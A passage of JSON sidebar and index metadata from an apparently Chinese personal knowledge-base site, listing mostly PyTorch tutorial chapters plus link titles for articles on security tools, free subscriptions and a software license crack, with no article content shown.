\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/","label":"torch\u5b9e\u73b0","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README","unlisted":false}]}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/"}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/"}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/"},{"type":"category","label":"\u516c\u4f17\u53f7\u6587\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","label":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","label":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","label":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","label":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","label":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","unlisted":false},{"type":"link","href":"/docs/personal/articles/free-chatgpt-go-one-year","label":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","label":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","unlisted":false}]},{"type":"category","label":"\u9006\u5411\u7834\u89e3","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","label":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","unlisted":false}]}]},{"type":"link","href":"/docs/\u66f4\u65b0\u65e5\u5fd7","label":"\u66f4\u65b0\u65e5\u5fd7","docId":"\u66f4\u65b0\u65e5\u5fd7","unlisted":false}]},"docs":{"intro":{"id":"intro","title":"intro","description":"\u4e0d\u77e5\u53e4\u9053\u7684\u98ce\uff0c\u53ef\u4ed6\u5439\u5f80\u7684\u662f\u6545\u91cc","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/README","title":"PyTorch","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","title":"1.1 PyTorch\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","title":"1.2 PyTorch\u7684\u5b89\u88c5.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/README","title":"\u7b2c\u4e00\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/README","title":"\u7b2c\u4e03\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","title":"3.2 \u57fa\u672c\u914d\u7f6e.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","title":"3.3 \u6570\u636e\u8bfb\u5165.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","title":"3.4 \u6a21\u578b\u6784\u5efa.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","title":"3.6 \u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","title":"3.8 \u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","title":"3.9 \u4f18\u5316\u5668.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/README","title":"\u7b2c\u4e09\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","title":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/README","title":"\u7b2c\u4e5d\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","title":"2.1 \u5f20\u91cf.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/README","title":"\u7b2c\u4e8c\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/README","title":"\u7b2c\u4e94\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","title":"8.2 \u56fe\u50cf - torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","title":"8.3 \u89c6\u9891 - PyTorchVideo.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","title":"8.4 \u6587\u672c - torchtext.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","title":"8.5 \u97f3\u9891 - torchaudio.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/README","title":"\u7b2c\u516b\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 